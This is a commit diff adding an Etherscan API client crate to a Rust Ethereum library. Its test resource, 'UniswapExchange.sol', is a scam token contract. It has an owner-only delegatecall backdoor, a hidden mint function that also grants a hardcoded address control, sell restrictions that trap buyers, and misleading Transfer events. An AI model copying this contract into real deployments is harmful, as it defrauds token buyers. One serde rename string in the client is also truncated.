LumeWeb
/
ethers-rs
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

feat: add etherscan client crate (#486) 

* feat: add etherscan client crate

* fix: return response

* chore: rename evm version
This commit is contained in:
Matthias Seitz 2021-10-04 21:05:11 +02:00 committed by GitHub
parent 5d8b66a68f
commit 7d5ea2c1e3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 840 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
Cargo.lock generated
View File

@ -942,6 +942,18 @@ dependencies = [
"tokio", "tokio",
] ]
[[package]]
name = "ethers-etherscan"
version = "0.1.0"
dependencies = [
"anyhow",
"ethers-core",
"reqwest",
"serde",
"serde_json",
"tokio",
]
[[package]] [[package]]
name = "ethers-middleware" name = "ethers-middleware"
version = "0.5.3" version = "0.5.3"

2
Cargo.toml
View File

@ -19,6 +19,7 @@ members = [
"ethers-signers", "ethers-signers",
"ethers-core", "ethers-core",
"ethers-middleware", "ethers-middleware",
"ethers-etherscan"
] ]
default-members = [ default-members = [
@ -27,6 +28,7 @@ default-members = [
"ethers-signers", "ethers-signers",
"ethers-core", "ethers-core",
"ethers-middleware", "ethers-middleware",
"ethers-etherscan"
] ]
exclude = [ exclude = [

28
ethers-etherscan/Cargo.toml Normal file
View File

@ -0,0 +1,28 @@
[package]
name = "ethers-etherscan"
version = "0.1.0"
authors = ["Matthias Seitz <matthias.seitz@outlook.de>", "Georgios Konstantopoulos <me@gakonst.com>"]
license = "MIT OR Apache-2.0"
edition = "2018"
readme = "../README.md"
documentation = "https://docs.rs/ethers"
repository = "https://github.com/gakonst/ethers-rs"
homepage = "https://docs.rs/ethers"
description = """
Rust API bindings for the etherscan.io web api
"""
keywords = ["ethereum", "web3", "etherscan", "ethers"]
[dependencies]
ethers-core = { version = "^0.5.0", path = "../ethers-core", default-features = false }
reqwest = { version = "0.11.4", features = ["json"] }
serde = { version = "1.0.124", default-features = false, features = ["derive"] }
anyhow = "1.0.37"
serde_json = { version = "1.0.64", default-features = false }
[dev-dependencies]
tokio = { version = "1.5", features = ["macros", "rt-multi-thread"] }
[package.metadata.docs.rs]
all-features = true
rustdoc-args = ["--cfg", "docsrs"]

346
ethers-etherscan/resources/UniswapExchange.sol Normal file
View File

@ -0,0 +1,346 @@
/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}

452
ethers-etherscan/src/lib.rs Normal file
View File

@ -0,0 +1,452 @@
//! Bindings for [etherscan.io web api](https://docs.etherscan.io/)
use ethers_core::abi::{Abi, Address};
use reqwest::{header, Url};
use serde::{de::DeserializeOwned, Deserialize, Serialize};
use std::{borrow::Cow, collections::HashMap};
/// The Etherscan.io api client.
#[derive(Clone)]
pub struct Client {
/// The client that executes the http requests
client: reqwest::Client,
/// The etherscan api key
api_key: String,
/// API endpoint like https://api(-chain).etherscan.io/api
etherscan_api_url: Url,
/// Base etherscan endpoint like https://etherscan.io/address
etherscan_url: Url,
}
impl Client {
/// Create a new client with the correct endpoints based on the chain.
///
/// Supported chains are ethlive, mainnet,ropsten, kovan, rinkeby, goerli
// TODO make this an enum
pub fn new(chain: &str, api_key: impl Into<String>) -> anyhow::Result<Self> {
let (etherscan_api_url, etherscan_url) = match chain {
"ethlive" | "mainnet" => {
(
Url::parse("https://api.etherscan.io/api"),
Url::parse("https://etherscan.io/address"),
)
},
"ropsten"|"kovan"|"rinkeby"|"goerli" => {
(
Url::parse(&format!("https://api-{}.etherscan.io/api", chain)),
Url::parse(&format!("https://{}.etherscan.io/address", chain)),
)
}
s => {
return Err(
anyhow::anyhow!("Verification only works on mainnet, ropsten, kovan, rinkeby, and goerli, found `{}` chain", s)
)
}
};
Ok(Self {
client: Default::default(),
api_key: api_key.into(),
etherscan_api_url: etherscan_api_url.expect("is valid http"),
etherscan_url: etherscan_url.expect("is valid http"),
})
}
pub fn etherscan_api_url(&self) -> &Url {
&self.etherscan_api_url
}
pub fn etherscan_url(&self) -> &Url {
&self.etherscan_url
}
/// Return the URL for the given address
pub fn address_url(&self, address: Address) -> String {
format!("{}/{}", self.etherscan_url, address)
}
/// Execute a api POST request with a form
async fn post_form<T: DeserializeOwned, Form: Serialize>(
&self,
form: &Form,
) -> anyhow::Result<Response<T>> {
Ok(self
.client
.post(self.etherscan_api_url.clone())
.header(header::CONTENT_TYPE, "application/x-www-form-urlencoded")
.form(form)
.send()
.await?
.json()
.await?)
}
/// Execute a api GET query
async fn get_json<T: DeserializeOwned, Q: Serialize>(
&self,
query: &Q,
) -> anyhow::Result<Response<T>> {
Ok(self
.client
.get(self.etherscan_api_url.clone())
.header(header::ACCEPT, "application/json")
.query(query)
.send()
.await?
.json()
.await?)
}
fn create_query<T: Serialize>(
&self,
module: &'static str,
action: &'static str,
other: T,
) -> Query<T> {
Query {
apikey: Cow::Borrowed(&self.api_key),
module: Cow::Borrowed(module),
action: Cow::Borrowed(action),
other,
}
}
/// Submit Source Code for Verification
pub async fn submit_contract_verification(
&self,
contract: &VerifyContract,
) -> anyhow::Result<Response<String>> {
let body = self.create_query("contract", "verifysourcecode", contract);
Ok(self.post_form(&body).await?)
}
/// Check Source Code Verification Status with receipt received from
/// `[Self::submit_contract_verification]`
pub async fn check_verify_status(
&self,
guid: impl AsRef<str>,
) -> anyhow::Result<Response<String>> {
let mut map = HashMap::new();
map.insert("guid", guid.as_ref());
let body = self.create_query("contract", "checkverifystatus", map);
Ok(self.post_form(&body).await?)
}
/// Returns the contract ABI of a verified contract
///
/// ```no_run
/// # use ethers_etherscan::Client;
///
/// # #[tokio::main]
/// # async fn main() -> anyhow::Result<()> {
/// let client = Client::new("mainnet", "API_KEY").unwrap();
/// let abi = client
/// .contract_abi("0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413".parse().unwrap())
/// .await?;
///
/// # Ok(())
/// # }
/// ```
pub async fn contract_abi(&self, address: Address) -> anyhow::Result<Abi> {
let mut map = HashMap::new();
map.insert("address", address);
let query = self.create_query("contract", "getabi", map);
let resp: Response<String> = self.get_json(&query).await?;
Ok(serde_json::from_str(&resp.result)?)
}
/// Get Contract Source Code for Verified Contract Source Codes
/// ```no_run
/// # use ethers_etherscan::Client;
///
/// # #[tokio::main]
/// # async fn main() -> anyhow::Result<()> {
/// let client = Client::new("mainnet", "API_KEY").unwrap();
/// let meta = client
/// .contract_source_code("0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413".parse().unwrap())
/// .await?;
/// let code = meta.source_code();
/// # Ok(())
/// # }
/// ```
pub async fn contract_source_code(&self, address: Address) -> anyhow::Result<ContractMetadata> {
let mut map = HashMap::new();
map.insert("address", address);
let query = self.create_query("contract", "getsourcecode", map);
let response: Response<Vec<Metadata>> = self.get_json(&query).await?;
Ok(ContractMetadata {
items: response.result,
})
}
}
/// The API response type
#[derive(Debug, Clone, Deserialize)]
pub struct Response<T> {
pub status: String,
pub message: String,
pub result: T,
}
/// The type that gets serialized as query
#[derive(Debug, Serialize)]
struct Query<'a, T: Serialize> {
apikey: Cow<'a, str>,
module: Cow<'a, str>,
action: Cow<'a, str>,
#[serde(flatten)]
other: T,
}
/// Arguments for verifying contracts
#[derive(Debug, Clone, Serialize)]
pub struct VerifyContract {
pub address: Address,
pub source: String,
#[serde(rename = "codeformat")]
pub code_format: CodeFormat,
/// if codeformat=solidity-standard-json-input, then expected as
/// `erc20.sol:erc20`
#[serde(rename = "contractname", skip_serializing_if = "Option::is_none")]
pub contract_name: Option<String>,
#[serde(rename = "compilerversion")]
pub compiler_version: String,
/// applicable when codeformat=solidity-single-file
#[serde(rename = "optimizationUsed", skip_serializing_if = "Option::is_none")]
optimization_used: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub runs: Option<String>,
/// NOTE: there is a typo in the etherscan API `constructorArguements`
#[serde(
rename = "constructorArguements",
skip_serializing_if = "Option::is_none"
)]
pub constructor_arguments: Option<String>,
#[serde(rename = "evmversion")]
pub evm_version: Option<String>,
#[serde(flatten)]
pub other: HashMap<String, String>,
}
impl VerifyContract {
pub fn new(address: Address, source: String, compilerversion: String) -> Self {
Self {
address,
source,
code_format: Default::default(),
contract_name: None,
compiler_version: compilerversion,
optimization_used: None,
runs: None,
constructor_arguments: None,
evm_version: None,
other: Default::default(),
}
}
pub fn contract_name(mut self, name: impl Into<String>) -> Self {
self.contract_name = Some(name.into());
self
}
pub fn runs(mut self, runs: u32) -> Self {
self.runs = Some(format!("{}", runs));
self
}
pub fn optimization(self, optimization: bool) -> Self {
if optimization {
self.optimized()
} else {
self.not_optimized()
}
}
pub fn optimized(mut self) -> Self {
self.optimization_used = Some("1".to_string());
self
}
pub fn not_optimized(mut self) -> Self {
self.optimization_used = Some("0".to_string());
self
}
pub fn code_format(mut self, code_format: CodeFormat) -> Self {
self.code_format = code_format;
self
}
pub fn evm_version(mut self, evm_version: impl Into<String>) -> Self {
self.evm_version = Some(evm_version.into());
self
}
pub fn constructor_arguments(
mut self,
constructor_arguments: Option<impl Into<String>>,
) -> Self {
self.constructor_arguments = constructor_arguments.map(|s| {
s.into()
// TODO is this correct?
.trim_start_matches("0x")
.to_string()
});
self
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
pub enum CodeFormat {
#[serde(rename = "solidity-single-file")]
SingleFile,
#[serde(rename = "solidity-standard-json-inpu")]
StandardJsonInput,
}
impl AsRef<str> for CodeFormat {
fn as_ref(&self) -> &str {
match self {
CodeFormat::SingleFile => "solidity-single-file",
CodeFormat::StandardJsonInput => "solidity-standard-json-input",
}
}
}
impl Default for CodeFormat {
fn default() -> Self {
CodeFormat::SingleFile
}
}
#[derive(Debug, Serialize, Deserialize)]
pub struct ContractMetadata {
#[serde(flatten)]
pub items: Vec<Metadata>,
}
impl IntoIterator for ContractMetadata {
type Item = Metadata;
type IntoIter = std::vec::IntoIter<Metadata>;
fn into_iter(self) -> Self::IntoIter {
self.items.into_iter()
}
}
impl ContractMetadata {
/// All ABI from all contracts in the source file
pub fn abis(&self) -> anyhow::Result<Vec<Abi>> {
let mut abis = Vec::with_capacity(self.items.len());
for item in &self.items {
abis.push(serde_json::from_str(&item.abi)?);
}
Ok(abis)
}
/// Combined source code of all contracts
pub fn source_code(&self) -> String {
self.items
.iter()
.map(|c| c.source_code.as_str())
.collect::<Vec<_>>()
.join("\n")
}
}
/// Etherscan contract metadata
#[derive(Debug, Serialize, Deserialize)]
pub struct Metadata {
#[serde(rename = "SourceCode")]
pub source_code: String,
#[serde(rename = "ABI")]
pub abi: String,
#[serde(rename = "ContractName")]
pub contract_name: String,
#[serde(rename = "CompilerVersion")]
pub compiler_version: String,
#[serde(rename = "OptimizationUsed")]
pub optimization_used: String,
#[serde(rename = "Runs")]
pub runs: String,
#[serde(rename = "ConstructorArguments")]
pub constructor_arguments: String,
#[serde(rename = "EVMVersion")]
pub evm_version: String,
#[serde(rename = "Library")]
pub library: String,
#[serde(rename = "LicenseType")]
pub license_type: String,
#[serde(rename = "Proxy")]
pub proxy: String,
#[serde(rename = "Implementation")]
pub implementation: String,
#[serde(rename = "SwarmSource")]
pub swarm_source: String,
}
#[cfg(test)]
mod tests {
use super::*;
fn api_key() -> String {
std::env::var("ETHERSCAN_API_KEY").expect("ETHERSCAN_API_KEY not found")
}
#[tokio::test]
#[ignore]
async fn can_fetch_contract_abi() {
let api = api_key();
let client = Client::new("mainnet", api).unwrap();
let _abi = client
.contract_abi(
"0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413"
.parse()
.unwrap(),
)
.await
.unwrap();
}
#[tokio::test]
#[ignore]
async fn can_fetch_contract_source_code() {
let api = api_key();
let client = Client::new("mainnet", api).unwrap();
let _meta = client
.contract_source_code(
"0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413"
.parse()
.unwrap(),
)
.await
.unwrap();
}
#[tokio::test]
#[ignore]
async fn can_verify_contract() {
// TODO this needs further investigation
// https://etherscan.io/address/0x9e744c9115b74834c0f33f4097f40c02a9ac5c33#code
let contract = include_str!("../resources/UniswapExchange.sol");
let address = "0x9e744c9115b74834c0f33f4097f40c02a9ac5c33"
.parse()
.unwrap();
let compiler_version = "v0.5.17+commit.d19bba13";
let constructor_args = "0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000007596179537761700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035941590000000000000000000000000000000000000000000000000000000000";
let api = api_key();
let client = Client::new("mainnet", api).unwrap();
let contract =
VerifyContract::new(address, contract.to_string(), compiler_version.to_string())
.constructor_arguments(Some(constructor_args))
.optimization(true)
.runs(200);
let resp = client.submit_contract_verification(&contract).await;
}
}